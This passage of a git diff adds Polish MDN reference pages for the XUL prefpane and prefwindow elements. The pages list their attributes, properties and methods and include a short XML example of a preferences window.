+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-preferenceElements">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/preferenceElements">preferenceElements</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ DOM Nodelist</i>
+ </dd>
+ <dd>
+ Podtrzymuje listę elementów UI w oknie, które są dołączone do preferencji.</dd>
+</dl></div>
+<div id="p-preferences">
+<p> </p></div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<div id="p-src">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/src">src</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URL</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><dl>
+ <dt>
+ <span id="m-preferenceForElement"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/preferenceForElement">preferenceForElement( uielement )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>element preferencji</i></dd>
+ <dd>
+ Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>, do którego jest dołączony dany element interfejsu użytkownika.</dd>
+</dl>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/prefwindow/index.html b/files/pl/mozilla/tech/xul/prefwindow/index.html
new file mode 100644
index 0000000000..f54333b04c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/prefwindow/index.html
@@ -0,0 +1,388 @@
+---
+title: prefwindow
+slug: Mozilla/Tech/XUL/prefwindow
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/prefwindow
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Okno wyspecjalizowane do okien preferencji. Ten element powinien być użyty zamiast znacznika <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> i powinien zawierać jeden lub więcej elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code>. Rząd przycisków pojawia się w oknie preferencji, po jednym przycisku dla każdego elementu prefpane. Każdy panel zwykle zawiera w sobie grupę podobnych ustawień. Jeśli istnieje tylko jeden element <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code>, przestrzeń nawigacyjna nie zostanie wyświetlona.
+</p><p>W przypadku platform, w których ustawienia muszą zostać zastosowane natychmiastowo, są one zmieniane w momencie, kiedy element interfejsu jest zmieniony. Na innych platformach, ustawienia nie zostają zastosowane zanim okno jest zamknięte.
+</p><p>Możesz otworzyć okno preferencji używając metody <code>openDialog</code> okna, tak jak z innymi oknami dialogowymi. Możesz przekazać <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> odpowiedniego panelu jako czwarty argument <code>openDialog</code>, aby domyślnie otworzyć odpowiedni panel. Możesz również ustawić atrybut <code id="a-lastSelected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/lastSelected">lastSelected</a></code> znacznika <code>prefwindow</code> na <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> panela, od którego chcesz zacząć. Zwykle, nie będziesz ustawiać tego atrybutu, jako że zostanie on automatycznie ustawiony w taki sposób, że domyślnym panelem stanie się ten sam panel, który był wyświetlany, kiedy okno preferencji było ostatnio zamknięte.
+</p><p>Więcej informacji dostępne jest w artykule <a href="pl/System_preferencji">System preferencji</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-buttonalign">buttonalign</a>, <a href="#a-buttondir">buttondir</a>, <a href="#a-buttonorient">buttonorient</a>, <a href="#a-buttonpack">buttonpack</a>, <a href="#a-buttons">buttons</a>, <a href="#a-defaultButton">defaultButton</a>, <a href="#a-lastSelected">lastSelected</a>, <a href="#a-onbeforeaccept">onbeforeaccept</a>, <a href="#a-ondialogaccept">ondialogaccept</a>, <a href="#a-ondialogcancel">ondialogcancel</a>, <a href="#a-ondialogdisclosure">ondialogdisclosure</a>, <a href="#a-ondialoghelp">ondialoghelp</a>, <a href="#a-onpanelload">onpanelload</a>, <a href="#a-title">title</a>, <a href="#a-type">type</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-buttons">buttons</a>, <a href="#p-currentPane">currentPane</a>, <a href="#p-defaultButton">defaultButton</a>, <a href="#p-lastSelected">lastSelected</a>, <a href="#p-preferencePanes">preferencePanes</a>, <a href="#p-type">type</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-acceptDialog">acceptDialog</a>, <a href="#m-addPane">addPane</a>, <a href="#m-cancelDialog">cancelDialog</a>, <a href="#m-centerWindowOnScreen">centerWindowOnScreen</a>, <a href="#m-getButton">getButton</a>, <a href="#m-openSubDialog">openSubDialog</a>, <a href="#m-openWindow">openWindow</a>, <a href="#m-showPane">showPane</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre class="eval"> &lt;prefwindow xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;prefpane id="saveoptions" label="Backups"&gt;
+ &lt;preferences&gt;
+ &lt;preference id="pref-backup" name="myapp.mybackups" type="bool"/&gt;
+ &lt;preference id="pref-backupduration" name="myapp.mybackups.duration" type="int"/&gt;
+ &lt;/preferences&gt;
+ &lt;checkbox label="Automatically Save Backups" preference="pref-backup"/&gt;
+ &lt;textbox label="Duration:" preference="pref-backupduration"/&gt;
+ &lt;/prefpane&gt;
+ &lt;/prefwindow&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-buttonalign">
+
+<dl><dt> <code id="a-buttonalign"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonalign">buttonalign</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttondir">
+
+<dl><dt> <code id="a-buttondir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttondir">buttondir</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonorient">
+
+<dl><dt> <code id="a-buttonorient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonorient">buttonorient</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonpack">
+
+<dl><dt> <code id="a-buttonpack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonpack">buttonpack</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttons">
+
+<dl><dt> <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>
+</dt><dd> Typ: <i>rozdzielona przecinkami lista poniższych wartości</i>
+</dd><dd> Rozdzielona przecinkami lista przycisków do wyświetlenia w okienku dialogowym. Przyciski zostaną umieszczone w odpowiednim miejscu w zależności od platformy systemowej użytkownika, a podstawowa obsługa zdarzeń zostanie wykonana automatycznie. Następujące wartości mogą zostać użyte w tej liście:
+</dd></dl>
+<ul><li> <code>accept</code>: Przycisk OK, który będzie akceptował zmiany po naciśnięciu. Ten przycisk będzie także przyciskiem domyślnym. </li><li> <code>cancel</code>: Przycisk Anuluj, który będzie anulował operacje.
+</li><li> <code>help</code>: Przycisk Pomoc służący do wyświetlenia okienka pomocy.
+</li><li> <code>disclosure</code>: Przycisk pokazujący więcej informacji. Może być to przycisk lub trójkąt rozwijający.
+</li><li> <code>extra1</code>: Opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code></code>.
+</li><li> <code>extra2</code>: Drugi opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></code>.
+</li></ul>
+
+
+</div>
+<div id="a-defaultButton">
+
+<dl><dt> <code id="a-defaultButton"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/defaultButton">defaultButton</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Zwykle nie powinno się ustawiać tego atrybutu. Określa on domyślny przycisk w oknie dialogowym. Zazwyczaj oznacza to, że przycisk zostanie aktywowany po naciśnięciu klawisza Enter. Atrybutowi temu powinna być przypisana jedna z wartości używanych przez atrybut <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-lastSelected">
+
+<dl><dt> <code id="a-lastSelected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/lastSelected">lastSelected</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Ustaw to na <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> ostatniego zaznaczonego okna. Będzie otwierany domyślnie następnym razem, gdy okno preferencji jest otwarte.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onbeforeaccept">
+
+<dl>
+ <dt>
+ <code id="a-onbeforeaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onbeforeaccept">onbeforeaccept</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ Kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany kiedy przycisk OK zostaje naciśnięty lub kiedy wywołana zostaje metoda <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-ondialogaccept">
+
+<dl>
+ <dt>
+ <code id="a-ondialogaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogaccept">ondialogaccept</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku akceptacji lub po wywołaniu metody <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-ondialogcancel">
+
+<dl>
+ <dt>
+ <code id="a-ondialogcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogcancel">ondialogcancel</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku 'Anuluj' lub po wywołaniu metody <span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancelDialog">cancelDialog</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-ondialogdisclosure">
+
+<dl>
+ <dt>
+ <code id="a-ondialogdisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogdisclosure">ondialogdisclosure</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ Kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku ujawniającego (ang. disclosure).</dd>
+</dl>
+</div>
+<div id="a-ondialoghelp">
+
+<dl>
+ <dt>
+ <code id="a-ondialoghelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialoghelp">ondialoghelp</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku 'Pomoc'.</dd>
+</dl>
+</div>
+<div id="a-onpanelload">
+
+<dl>
+ <dt>
+ <code id="a-onpaneload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpaneload">onpaneload</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Zdefiniowany tutaj kod jest wywołany kiedy okno będzie wczytane, bardzo podobnym zdarzeniem dla okna jest <code>load</code>.</dd>
+</dl>
+</div>
+<div id="a-title">
+
+<dl><dt> <code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst wyświetlony na pasku tytułu w oknie dialogowym.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-type">
+
+<h3 id="Zobacz" name="Zobacz"> Zobacz </h3>
+<ul><li> <a href="pl/XUL/Atrybut/button.type">button.type</a>
+</li><li> <a href="pl/XUL/Atrybut/browser.type">browser.type</a>
+</li><li> <a href="pl/XUL/Atrybut/listitem.type">listitem.type</a>
+</li><li> <a href="pl/XUL/Atrybut/menuitem.type">menuitem.type</a>
+</li><li> <a href="pl/XUL/Atrybut/textbox.type">textbox.type</a>
+</li><li> <a href="pl/XUL/Atrybut/toolbarbutton.type">toolbarbutton.type</a>
+</li><li> <a href="pl/XUL/Atrybut/treecol.type">treecol.type</a>
+</li></ul>
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-buttons">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/buttons">buttons</a></span></code>
+</dt><dd> Typ: <i>rozdzielona przecinkami lista poniższych wartości</i>
+</dd><dd> Rozdzielona przecinkami lista przycisków do wyświetlenia w okienku dialogowym. Przyciski zostaną umieszczone w odpowiednim miejscu w zależności od platformy systemowej użytkownika, a podstawowa obsługa zdarzeń zostanie wykonana automatycznie. Następujące wartości mogą zostać użyte w tej liście:
+</dd></dl>
+<ul><li> <code>accept</code>: Przycisk OK, który będzie akceptował zmiany po naciśnięciu. Ten przycisk będzie także przyciskiem domyślnym. </li><li> <code>cancel</code>: Przycisk Anuluj, który będzie anulował operację.
+</li><li> <code>help</code>: Przycisk Pomoc służący do wyświetlenia okienka pomocy.
+</li><li> <code>disclosure</code>: Przycisk pokazujący więcej informacji. Może być to przycisk lub trójkąt rozwijający.
+</li><li> <code>extra1</code>: Opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code></code>.
+</li><li> <code>extra2</code>: Drugi opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></code>.
+</li></ul>
+<p><br>
+</p>
+
+</div>
+<div id="p-currentPane">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentPane">currentPane</a></span></code>
+</dt><dd> Typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code></i>
+</dd><dd> Odniesienie do aktualnie wyświetlanego okna. Aby zmienić bieżące okno zastosuj metodę <span id="m-showPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPane">showPane</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-defaultButton">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/defaultButton">defaultButton</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwykle nie powinno się ustawiać tej własności. Określa ona domyślny przycisk w oknie dialogowym. Zazwyczaj oznacza to, że przycisk zostanie aktywowany po naciśnięciu klawisza Enter. Własności tej powinna być przypisana jedna z wartości używanych przez atrybut <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>.</dd>
+</dl></div>
+<div id="p-lastSelected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/lastSelected">lastSelected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Ustawia to na id ostatniego zaznaczonego okna. Będzie otwarte domyślnie następnym razem, kiedy zostanie otwarte okno preferencji.</dd>
+</dl></div>
+<div id="p-preferencePanes">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/preferencePanes">preferencePanes</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ DOM NodeList</i>
+ </dd>
+ <dd>
+ Podtrzymuje listę wszystkich elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> w oknie.</dd>
+</dl></div>
+<div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl>
+ <dt>
+ <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog()</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Akceptuje okienko dialogowe i je zamyka, działa podobnie jak naciśnięcie przycisku <code>OK</code>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-addPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addPane">addPane( prefpane )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Dołącza <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> do listy okien.</dd>
+</dl>
+<dl><dt> <span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancelDialog">cancelDialog()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Anuluje okienko dialogowe i je zamyka, działa podobnie jak naciśnięcie przycisku &lt;tt&gt;Anuluj&lt;/tt&gt;.
+</dd></dl>
+<p><br>
+</p>
